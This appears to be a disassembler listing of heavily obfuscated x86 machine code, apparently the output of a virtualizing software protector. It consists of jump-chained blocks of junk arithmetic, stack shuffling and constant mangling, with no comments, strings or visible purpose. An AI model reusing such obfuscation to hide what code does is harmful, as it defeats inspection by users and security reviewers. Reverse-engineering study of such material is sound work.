		shl	ebp, 8
		jmp	loc_57FF21
; ---------------------------------------------------------------------------


loc_58D156:				; CODE XREF: ud2_____:00580E3Aj
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	ebp
		jmp	loc_590739
; ---------------------------------------------------------------------------


loc_58D16C:				; CODE XREF: ud2_____:0058B866j
		push	ecx
		mov	ecx, 2DEB4F1Ah
		jmp	loc_58352C
; ---------------------------------------------------------------------------


loc_58D177:				; CODE XREF: ud2_____:005811DBj
		push	4E12AB7h
		pop	edx
		xchg	ecx, edx
		xchg	ebx, ecx
		not	ebx
		jmp	loc_582108
; ---------------------------------------------------------------------------
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58D192:				; CODE XREF: ud2_____:0057E16Cj
		mov	ebp, 893956E9h
		add	ebp, ecx
		jmp	loc_58AF78
; ---------------------------------------------------------------------------


loc_58D19E:				; CODE XREF: ud2_____:0058C1A9j
		mov	[esp], esi
		jmp	loc_5897F0
; ---------------------------------------------------------------------------


loc_58D1A6:				; CODE XREF: ud2_____:00589987j
		push	eax
		mov	eax, 20B80FDAh
		or	eax, 435F1149h
		jmp	loc_588520
; ---------------------------------------------------------------------------


loc_58D1B6:				; CODE XREF: ud2_____:0058F2BEj
		add	ch, 0B9h
		jmp	loc_580F23
; ---------------------------------------------------------------------------


loc_58D1BE:				; CODE XREF: ud2_____:00590E85j
		mov	ebx, [esp]
		add	esp, 4
		push	1E70h
		mov	[esp], eax
		jmp	loc_59251D
; ---------------------------------------------------------------------------


loc_58D1D4:				; CODE XREF: ud2_____:005830C6j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58AB4C
; ---------------------------------------------------------------------------


loc_58D1E4:				; CODE XREF: ud2_____:00588FE4j
		sub	bl, 0BBh
		sub	cl, 37h
		add	cl, bl
		add	cl, 37h
		pop	ebx
		xor	cl, 15h
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0D3h
		add	ah, 0FFh
		jmp	loc_583870
; ---------------------------------------------------------------------------


loc_58D206:				; CODE XREF: ud2_____:0058B4CAj
		mov	esi, 0FFFFFFFFh
		jmp	loc_58E9FF
; ---------------------------------------------------------------------------


loc_58D210:				; CODE XREF: ud2_____:00590232j
		shl	dh, 7
		jmp	loc_582A74
; ---------------------------------------------------------------------------


loc_58D218:				; CODE XREF: ud2_____:00591E13j
		pop	ebp
		push	ebx
		mov	ebx, 449141E5h
		shl	ebx, 8
		push	esi
		push	edi
		mov	edi, 2BAD3499h
		mov	esi, 52D80030h
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_58AD32
; ---------------------------------------------------------------------------


loc_58D238:				; CODE XREF: ud2_____:0058CBBEj
		add	edi, 4
		sub	esp, 4
		jmp	loc_58227C
; ---------------------------------------------------------------------------


loc_58D249:				; CODE XREF: ud2_____:00590C8Dj
		mov	edi, 2
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	7342h
		mov	[esp], ebp
		jmp	loc_581714
; ---------------------------------------------------------------------------


loc_58D268:				; CODE XREF: ud2_____:0058C384j
		add	esp, 4
		jmp	loc_589F75
; ---------------------------------------------------------------------------


loc_58D270:				; CODE XREF: ud2_____:0058A081j
		pop	edx
		add	al, bl
		add	al, 0BEh
		push	ecx
		mov	ch, 0Eh
		jmp	loc_585738
; ---------------------------------------------------------------------------


loc_58D27D:				; CODE XREF: ud2_____:0058BCEBj
		xor	edi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_590E7C
; ---------------------------------------------------------------------------


loc_58D28C:				; CODE XREF: ud2_____:0058DBEBj
		not	edx
		jmp	loc_592EA4
; ---------------------------------------------------------------------------


loc_58D293:				; CODE XREF: ud2_____:0058FFF2j
		pop	ebp
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 0E400562h
		not	ebp
		add	ebp, 5DBE40A6h
		sub	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		add	eax, edx
		sub	eax, 17914786h
		pop	edx
		push	esi
		mov	esi, 2D137526h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58032C
; ---------------------------------------------------------------------------


loc_58D2CF:				; CODE XREF: ud2_____:005860E1j
		pop	eax
		and	ecx, 3D044678h
		add	ecx, 598005E7h
		inc	ecx
		push	eax
		mov	eax, 35CC52AFh
		sub	ecx, 21142040h
		jmp	loc_583DFF
; ---------------------------------------------------------------------------


loc_58D2EE:				; CODE XREF: ud2_____:0057F4E5j
		push	bx
		mov	bx, 4DBAh
		jmp	loc_58A22B
; ---------------------------------------------------------------------------


loc_58D2F9:				; CODE XREF: ud2_____:00583311j
		pop	esi
		add	ebp, esi
		pop	esi
		sub	ebx, 4D0D42F2h
		jmp	loc_584C67
; ---------------------------------------------------------------------------


loc_58D308:				; CODE XREF: ud2_____:00581412j
		pop	esp
		pop	dword ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D310:				; CODE XREF: ud2_____:00586341j
		or	si, di
		pop	di
		sub	si, 0ECA2h
		mov	bp, si
		jmp	loc_586933
; ---------------------------------------------------------------------------


loc_58D322:				; CODE XREF: ud2_____:00591EE2j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 30436CD8h
		add	dword ptr [esp+4], 22C35BAAh
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 22C35BAAh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_588F44
; ---------------------------------------------------------------------------


loc_58D34A:				; CODE XREF: ud2_____:0058B6DAj
		add	edi, eax
		jmp	loc_58A9A8
; ---------------------------------------------------------------------------


loc_58D351:				; CODE XREF: ud2_____:005855A3j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_588F2F
; ---------------------------------------------------------------------------


loc_58D36D:				; CODE XREF: ud2_____:0058B1FCj
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		jmp	loc_587903
; ---------------------------------------------------------------------------


loc_58D378:				; CODE XREF: ud2_____:005841BFj
		dec	edx
		push	esi
		mov	esi, 0F9E4F98Dh
		sub	edx, 3E9A73B8h
		add	edx, 5F745447h
		add	edx, esi
		sub	edx, 5F745447h
		push	esi
		mov	esi, 31950C0Fh
		xor	esi, 46640882h
		add	esi, 0FFFFFFFFh
		jmp	loc_58FA47
; ---------------------------------------------------------------------------


loc_58D3AA:				; CODE XREF: ud2_____:0058800Bj
		xor	ebx, 553C00BCh
		inc	ebx
		xchg	edi, ebx
		dec	edi
		xchg	edi, ebx
		jmp	loc_590A9A
; ---------------------------------------------------------------------------


loc_58D3BB:				; CODE XREF: ud2_____:0058E13Ej
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5814B3
; ---------------------------------------------------------------------------


loc_58D3CE:				; CODE XREF: ud2_____:0058066Aj
		mov	eax, ecx
		mov	esi, eax
		pop	eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5831CA
; ---------------------------------------------------------------------------


loc_58D3E1:				; CODE XREF: ud2_____:00583385j
		push	edx
		mov	dh, al
		mov	bl, dh
		mov	edx, [esp]
		jmp	loc_5886CF
; ---------------------------------------------------------------------------


loc_58D3EE:				; CODE XREF: ud2_____:00586B1Aj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, 2
		jmp	loc_590208
; ---------------------------------------------------------------------------


loc_58D406:				; CODE XREF: ud2_____:00584EA9j
		sub	ecx, 6E7D3630h
		shr	ecx, 2
		sub	ecx, 0AE26BECh
		jmp	loc_5879BD
; ---------------------------------------------------------------------------


loc_58D41A:				; CODE XREF: ud2_____:0057FA4Bj
		add	esp, 4
		push	ecx
		mov	ecx, 1
		add	eax, ecx
		pop	ecx
		sub	eax, 0FFFFFFFFh
		push	ebx
		push	ebp
		mov	ebp, 7E95478Dh
		or	ebp, 0F393CC1h
		jmp	loc_58CAAD
; ---------------------------------------------------------------------------


loc_58D43B:				; CODE XREF: ud2_____:00590A5Cj
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_58DE31
; ---------------------------------------------------------------------------


loc_58D44B:				; CODE XREF: ud2_____:0058C820j
		add	edi, 0E9181CEEh
		add	ebp, edi
		pop	edi
		jmp	loc_583C90
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_582442
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	765Ah
		jmp	loc_59166C
; ---------------------------------------------------------------------------


loc_58D46F:				; CODE XREF: ud2_____:0058338Ej
		push	edx
		jmp	loc_585C62
; ---------------------------------------------------------------------------


loc_58D475:				; CODE XREF: ud2_____:00587A82j
		pop	esi
		sub	edx, edi
		pop	edi
		add	edx, 22AC1ADCh
		add	edx, edi
		sub	edx, 22AC1ADCh
		add	edx, 49BE72E4h
		jmp	loc_58E26E
; ---------------------------------------------------------------------------


loc_58D492:				; CODE XREF: ud2_____:00587BC3j
		mov	edx, 1
		mov	edi, edx
		pop	edx
		add	ebx, edi
		pop	edi
		xor	ebx, 0B3EB8488h
		add	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58E0DB
; ---------------------------------------------------------------------------


loc_58D4B3:				; CODE XREF: ud2_____:005866B6j
		xor	al, bh
		pop	ebx
		xor	bl, al
		jmp	loc_58F547
; ---------------------------------------------------------------------------


loc_58D4BD:				; CODE XREF: ud2_____:00585D80j
		sub	ecx, 189102C5h
		pop	edx
		xor	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebx
		push	esi
		add	dword ptr [esp], 0BB58DAh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 0BB58DAh
		jmp	loc_58CA3D
; ---------------------------------------------------------------------------


loc_58D4E8:				; CODE XREF: ud2_____:0057E1CAj
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_590ACE
; ---------------------------------------------------------------------------


loc_58D4F4:				; CODE XREF: ud2_____:005811EDj
		push	eax
		push	ebx
		mov	bh, ch
		mov	ah, bh
		pop	ebx
		mov	bl, ah
		pop	eax
		pop	ecx
		xor	bl, 16h
		mov	al, bl
		pop	ebx
		add	bl, 83h
		add	bl, al
		sub	bl, 83h
		mov	ax, [esp]
		push	1445h
		mov	[esp], ebx
		push	esp
		jmp	loc_582BE0
; ---------------------------------------------------------------------------


loc_58D51F:				; CODE XREF: ud2_____:0059097Ej
		push	ebx
		jmp	loc_58744F
; ---------------------------------------------------------------------------


loc_58D525:				; CODE XREF: ud2_____:0058CA9Dj
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	2957h
		mov	[esp], ecx
		push	eax
		mov	al, dl
		push	1421h
		mov	[esp], edx
		mov	dl, al
		mov	cl, dl
		pop	edx
		pop	eax
		push	3755h
		mov	[esp], ebx
		jmp	loc_5809E5
; ---------------------------------------------------------------------------


loc_58D563:				; CODE XREF: ud2_____:0058796Dj
		push	ebx
		jmp	loc_5857FD
; ---------------------------------------------------------------------------


loc_58D569:				; CODE XREF: ud2_____:00587931j
		push	esi
		mov	esi, 18396BF4h
		jmp	loc_58781C
; ---------------------------------------------------------------------------


loc_58D574:				; CODE XREF: ud2_____:0058F857j
		push	1685h
		mov	[esp], ebx
		push	esp
		jmp	loc_5852FD
; ---------------------------------------------------------------------------


loc_58D582:				; CODE XREF: ud2_____:0058F3E3j
		mov	[esp], ebx
		jmp	loc_58FA35
; ---------------------------------------------------------------------------


loc_58D58A:				; CODE XREF: ud2_____:0058F96Bj
		push	dword ptr [esp]
		jmp	loc_586F1E
; ---------------------------------------------------------------------------


loc_58D592:				; CODE XREF: ud2_____:0057FF0Fj
		add	esp, 4
		jmp	loc_58C4CE
; ---------------------------------------------------------------------------


loc_58D59A:				; CODE XREF: ud2_____:005887B2j
		sub	eax, 60C064CDh
		shl	eax, 4
		sub	eax, 0E0661815h
		xor	ebp, eax
		pop	eax
		add	esi, 25E426A3h
		jmp	loc_57E394
; ---------------------------------------------------------------------------
		lodsd
		push	0E4Fh
		mov	[esp], ecx
		jmp	loc_57F2FC
; ---------------------------------------------------------------------------


loc_58D5C3:				; CODE XREF: ud2_____:0057E4EBj
		sub	esi, edx
		pop	edx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58E3CE
; ---------------------------------------------------------------------------


loc_58D5D6:				; CODE XREF: ud2_____:0058E981j
		pop	esp
		sub	bl, cl
		sub	bl, 12h
		jmp	loc_57FEB7
; ---------------------------------------------------------------------------


loc_58D5E1:				; CODE XREF: ud2_____:00587A94j
		push	edx
		mov	edx, 4544636Eh
		sub	edx, 763311F7h
		inc	edx
		or	edx, 17EA42BFh
		jmp	loc_58F8AF
; ---------------------------------------------------------------------------


loc_58D5F9:				; CODE XREF: ud2_____:0058B478j
		or	ebp, esi
		pop	esi
		not	ebp
		push	edi
		mov	edi, 75D4226Bh
		sub	ebp, edi
		jmp	loc_587EFA
; ---------------------------------------------------------------------------


loc_58D60B:				; CODE XREF: ud2_____:00584A05j
		pop	edx
		push	4FFBh
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58767E
; ---------------------------------------------------------------------------


loc_58D627:				; CODE XREF: ud2_____:00586AD7j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 47E6570Ch
		sub	ebx, 0AD54EBFh
		jmp	loc_590EBC
; ---------------------------------------------------------------------------


loc_58D640:				; CODE XREF: ud2_____:0058A0CDj
		add	eax, esi
		push	esi
		mov	esi, 71E86F73h
		jmp	loc_5830CB
; ---------------------------------------------------------------------------


loc_58D64D:				; CODE XREF: ud2_____:00581CE8j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5827DD
; ---------------------------------------------------------------------------


loc_58D65E:				; CODE XREF: ud2_____:00586ED3j
		push	edi
		mov	edi, 177F3568h
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 57FF7F7Ch
		jmp	loc_58003C
; ---------------------------------------------------------------------------


loc_58D677:				; CODE XREF: ud2_____:00589B06j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D699:				; CODE XREF: ud2_____:0058EF60j
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58452B
; ---------------------------------------------------------------------------


loc_58D6B3:				; CODE XREF: ud2_____:005906FBj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D6B8:				; CODE XREF: ud2_____:0057E2EFj
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_581B58
; ---------------------------------------------------------------------------


loc_58D6CF:				; CODE XREF: ud2_____:0058C198j
		add	edx, esi
		push	ecx
		push	eax
		mov	eax, 63BC4C5Fh
		not	eax
		not	eax
		inc	eax
		not	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, 26FD3F71h
		sub	ebx, 0D00A2F3Dh
		xor	eax, ebx
		pop	ebx
		mov	ecx, eax
		pop	eax
		jmp	loc_584383
; ---------------------------------------------------------------------------


loc_58D6FB:				; CODE XREF: ud2_____:00586D20j
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_5826C3
; ---------------------------------------------------------------------------


loc_58D70E:				; CODE XREF: ud2_____:005810BCj
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_582C29
; ---------------------------------------------------------------------------


loc_58D725:				; CODE XREF: ud2_____:00587125j
		mov	edx, [esp]
		add	esp, 4
		push	179h
		mov	[esp], ebx
		mov	ebx, 12DF3875h
		or	edi, ebx
		jmp	loc_58C7DB
; ---------------------------------------------------------------------------


loc_58D73F:				; CODE XREF: ud2_____:005831A8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	eax, [esp]
		jmp	loc_583B6E
; ---------------------------------------------------------------------------


loc_58D751:				; CODE XREF: ud2_____:00587734j
		pop	edi
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_591338
; ---------------------------------------------------------------------------


loc_58D75D:				; CODE XREF: ud2_____:0058893Bj
		pop	ebx
		sub	ecx, 6DB20015h
		sub	ecx, esi
		jmp	loc_58F65F
; ---------------------------------------------------------------------------


loc_58D76B:				; CODE XREF: ud2_____:00589505j
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_58BC62
; ---------------------------------------------------------------------------


loc_58D774:				; CODE XREF: ud2_____:0057EB5Fj
		pop	esp
		push	ecx
		mov	ecx, 686F7683h
		add	ebx, 74B853D1h
		sub	ebx, 6E1F72EEh
		sub	ebx, ecx
		add	ebx, 6E1F72EEh
		sub	ebx, 74B853D1h
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3A1716AEh
		not	ecx
		inc	ecx
		jmp	loc_586031
; ---------------------------------------------------------------------------


loc_58D7AC:				; CODE XREF: ud2_____:00580327j
		push	eax
		jmp	loc_580CCC
; ---------------------------------------------------------------------------


loc_58D7B2:				; CODE XREF: ud2_____:0058A46Cj
		mov	[esp], ebp
		mov	ebp, 532533DEh
		add	ebp, 29073CCBh
		neg	ebp
		not	ebp
		xor	ebp, 83D38F57h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_582BF7
; ---------------------------------------------------------------------------


loc_58D7D2:				; CODE XREF: ud2_____:00591EB4j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		pop	eax
		pop	edi
		jmp	loc_585F75
; ---------------------------------------------------------------------------


loc_58D7EB:				; CODE XREF: ud2_____:005929CCj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D805:				; CODE XREF: ud2_____:0057F529j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		push	ebp
		push	1F706D18h
		pop	ebp
		shl	ebp, 8
		add	ebp, 18A90120h
		sub	ebp, 7B23150Ah
		push	ebp
		pop	esi
		pop	ebp
		push	edi
		mov	edi, 0DF30412h
		jmp	loc_5827A2
; ---------------------------------------------------------------------------


loc_58D835:				; CODE XREF: ud2_____:00581422j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_591079
; ---------------------------------------------------------------------------


loc_58D849:				; CODE XREF: ud2_____:0058A968j
		push	edi
		jmp	loc_58A8CA
; ---------------------------------------------------------------------------


loc_58D84F:				; CODE XREF: ud2_____:0058692Ej
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_592F7B
; ---------------------------------------------------------------------------


loc_58D863:				; CODE XREF: ud2_____:00588261j
		push	eax
		jmp	loc_57E6AF
; ---------------------------------------------------------------------------


loc_58D869:				; CODE XREF: ud2_____:00590629j
		mov	ebp, 4
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_58A17B
; ---------------------------------------------------------------------------


loc_58D87F:				; CODE XREF: ud2_____:0057F1AFj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_587AB1
; ---------------------------------------------------------------------------


loc_58D88A:				; CODE XREF: ud2_____:0058006Ej
		push	cx
		mov	ch, 4Fh
		not	ch
		shl	ch, 6
		jmp	loc_589078
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D8A0:				; CODE XREF: ud2_____:0057EF7Bj
		dec	bl
		add	bl, 6Bh
		mov	cl, bl
		pop	ebx
		xor	dl, cl
		jmp	loc_58F6D5
; ---------------------------------------------------------------------------


loc_58D8AF:				; CODE XREF: ud2_____:0058FD65j
		mov	cl, 9Bh
		dec	cl
		or	cl, 1
		not	cl
		push	dx
		mov	dh, cl
		not	dh
		mov	cl, dh
		mov	dx, [esp]
		add	esp, 2
		inc	cl
		push	eax
		push	ebx
		jmp	loc_58FFA5
; ---------------------------------------------------------------------------


loc_58D8D3:				; CODE XREF: ud2_____:00590DB1j
		mov	edx, ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5858CD
; ---------------------------------------------------------------------------


loc_58D8E4:				; CODE XREF: ud2_____:0058A2A7j
		mov	ebx, 55596F73h
		not	ebx
		add	ebx, 470C39CAh
		jmp	loc_591576
; ---------------------------------------------------------------------------


loc_58D8F6:				; CODE XREF: ud2_____:00587026j
		push	esi
		jmp	loc_588EAA
; ---------------------------------------------------------------------------


loc_58D8FC:				; CODE XREF: ud2_____:0058C390j
		mov	ebx, 37920638h
		or	ebx, 66D31F0h
		shl	ebx, 2
		jmp	loc_58FDD5
; ---------------------------------------------------------------------------


loc_58D90F:				; CODE XREF: ud2_____:00590778j
		add	ecx, 4
		push	edi
		push	edx
		mov	edx, 64331C83h
		add	edx, 5A820C25h
		dec	edx
		shl	edx, 1
		xor	edx, 7D6A514Ah
		mov	edi, edx
		pop	edx
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_588835
; ---------------------------------------------------------------------------


loc_58D939:				; CODE XREF: ud2_____:0058BC5Dj
		or	ebp, 8576F56h
		neg	ebp
		xor	ebp, 0AAF3E5F3h
		add	ebx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_57F234
; ---------------------------------------------------------------------------


loc_58D954:				; CODE XREF: ud2_____:0059118Bj
		mov	dh, 86h
		sub	ch, 87h
		sub	ch, dh
		add	ch, 87h
		jmp	loc_580D11
; ---------------------------------------------------------------------------


loc_58D963:				; CODE XREF: ud2_____:00592E54j
		add	ebp, ebx
		push	esi
		mov	esi, 11576FEFh
		not	esi
		jmp	loc_58CEB2
; ---------------------------------------------------------------------------


loc_58D972:				; CODE XREF: ud2_____:0058C941j
		pop	esi
		sub	[edi+24h], ebx
		jmp	loc_583080
; ---------------------------------------------------------------------------


loc_58D97B:				; CODE XREF: ud2_____:0058F448j
		add	ebp, 266A5DA5h
		sub	ebp, ecx
		sub	ebp, 266A5DA5h
		jmp	loc_5875A7
; ---------------------------------------------------------------------------


loc_58D98E:				; CODE XREF: ud2_____:00589BC4j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 484159B4h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		pop	edx
		pop	ecx
		add	edx, edi
		push	dword ptr [edx]
		xor	dword ptr [esp], 1258049Bh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		push	3596h
		mov	[esp], eax
		mov	eax, 55BB7840h
		add	eax, 0BC9C8C5Bh
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_589059
; ---------------------------------------------------------------------------


loc_58D9DD:				; CODE XREF: ud2_____:00591A8Aj
		xchg	dh, [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_590583
; ---------------------------------------------------------------------------


loc_58D9EB:				; CODE XREF: ud2_____:00590D94j
		not	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, 16347A36h
		xor	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 19002B56h
		jmp	loc_59091A
; ---------------------------------------------------------------------------


loc_58DA03:				; CODE XREF: ud2_____:0057F851j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	5FA1h
		mov	[esp], edi
		mov	edi, 47414A2Fh
		inc	edi
		shl	edi, 8
		push	ebp
		push	1393h
		jmp	loc_57FCAD
; ---------------------------------------------------------------------------


loc_58DA37:				; CODE XREF: ud2_____:005814E0j
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	327Bh
		jmp	loc_58304E
; ---------------------------------------------------------------------------


loc_58DA46:				; CODE XREF: ud2_____:00581AF8j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	1268h
		mov	[esp], esi
		mov	esi, 2EF06586h
		sub	esi, 7F113D1Ch
		add	esi, 5020D79Ah
		add	edx, esi
		pop	esi
		sub	edx, 4
		jmp	loc_58150B
; ---------------------------------------------------------------------------


loc_58DA73:				; CODE XREF: ud2_____:0059191Ej
		sub	al, bh
		sub	al, 21h
		mov	ebx, [esp]
		add	esp, 4
		sub	al, dh
		push	ebx
		jmp	loc_58C429
; ---------------------------------------------------------------------------


loc_58DA85:				; CODE XREF: ud2_____:00580D27j
		add	al, 0DEh
		pop	ecx
		add	bl, 21h
		sub	bl, 0A6h
		sub	bl, al
		add	bl, 0A6h
		push	2521h
		jmp	loc_59283D
; ---------------------------------------------------------------------------


loc_58DA9D:				; CODE XREF: ud2_____:0057FDAEj
		xor	[esp], ecx
		jmp	loc_584E63
; ---------------------------------------------------------------------------


loc_58DAA5:				; CODE XREF: ud2_____:0058AFC2j
		or	ch, 0D8h
		sub	ch, 0A2h
		inc	ch
		neg	ch
		xor	ch, 9Ch
		xor	ch, 14h
		add	bl, ch
		pop	ecx
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 0D4h
		shr	cl, 8
		xor	cl, 92h
		push	eax
		mov	ah, 8Bh
		add	cl, ah
		pop	eax
		push	4695h
		mov	[esp], ebx
		push	7970h
		mov	[esp], edx
		mov	dh, 62h
		inc	dh
		jmp	loc_592CDE
; ---------------------------------------------------------------------------


loc_58DAE9:				; CODE XREF: ud2_____:005818DEj
		pop	ebx
		xor	edi, 0EFFF6CCDh
		mov	ecx, edi
		pop	edi
		sub	ebp, 4E794E48h
		add	ebp, ecx
		add	ebp, 4E794E48h
		mov	ecx, [esp]
		jmp	loc_58391B
; ---------------------------------------------------------------------------


loc_58DB09:				; CODE XREF: ud2_____:0058E622j
		mov	ah, 2Dh
		inc	ah
		add	ah, 1
		add	ah, 3Dh
		xor	ah, 8Eh
		jmp	loc_587B2E
; ---------------------------------------------------------------------------


loc_58DB1B:				; CODE XREF: ud2_____:0059136Cj
		add	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_591329
; ---------------------------------------------------------------------------


loc_58DB3E:				; CODE XREF: ud2_____:005892B6j
		sub	eax, 1
		shl	eax, 3
		not	eax
		or	eax, 19964E0Bh
		jmp	loc_588A26
; ---------------------------------------------------------------------------


loc_58DB52:				; CODE XREF: ud2_____:005834C2j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58DB57:				; CODE XREF: ud2_____:00580FFAj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_590771
; ---------------------------------------------------------------------------


loc_58DB63:				; CODE XREF: ud2_____:00583EB3j
		mov	ebp, 1
		jmp	loc_58F6DE
; ---------------------------------------------------------------------------


loc_58DB6D:				; CODE XREF: ud2_____:0058AAF4j
		sub	eax, edx
		push	428h
		jmp	loc_587E0D
; ---------------------------------------------------------------------------


loc_58DB79:				; CODE XREF: ud2_____:0058E135j
		push	61C9h
		mov	[esp], esi
		push	3254495Ch
		pop	esi
		sub	eax, 27532E66h
		sub	eax, esi
		add	eax, 27532E66h
		jmp	loc_587BEF
; ---------------------------------------------------------------------------


loc_58DB98:				; CODE XREF: ud2_____:0057F792j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		jmp	loc_57F5B5
; ---------------------------------------------------------------------------


loc_58DBAD:				; CODE XREF: ud2_____:0057F664j
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ebp
		push	6F38h
		jmp	loc_5907A9
; ---------------------------------------------------------------------------


loc_58DBCB:				; CODE XREF: ud2_____:0058E208j
		mov	esp, [esp]
		mov	[esp], ebp
		push	793Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_580A8B
; ---------------------------------------------------------------------------


loc_58DBE5:				; CODE XREF: ud2_____:00589BDFj
		add	edx, 6B58A96Ch
		jmp	loc_58D28C
; ---------------------------------------------------------------------------


loc_58DBF0:				; CODE XREF: ud2_____:0057EB8Ej
		mov	al, bh
		jmp	loc_58CC90
; ---------------------------------------------------------------------------


loc_58DBF7:				; CODE XREF: ud2_____:0057E978j
		add	ebp, edi
		jmp	loc_58B62E
; ---------------------------------------------------------------------------


loc_58DBFE:				; CODE XREF: ud2_____:0058236Ej
		or	ebx, 44992B6Ah
		xor	ebx, 4DFD3BFAh
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5901CE
; ---------------------------------------------------------------------------


loc_58DC23:				; CODE XREF: ud2_____:0058B3F3j
		not	dword ptr [esp]
		pop	edi
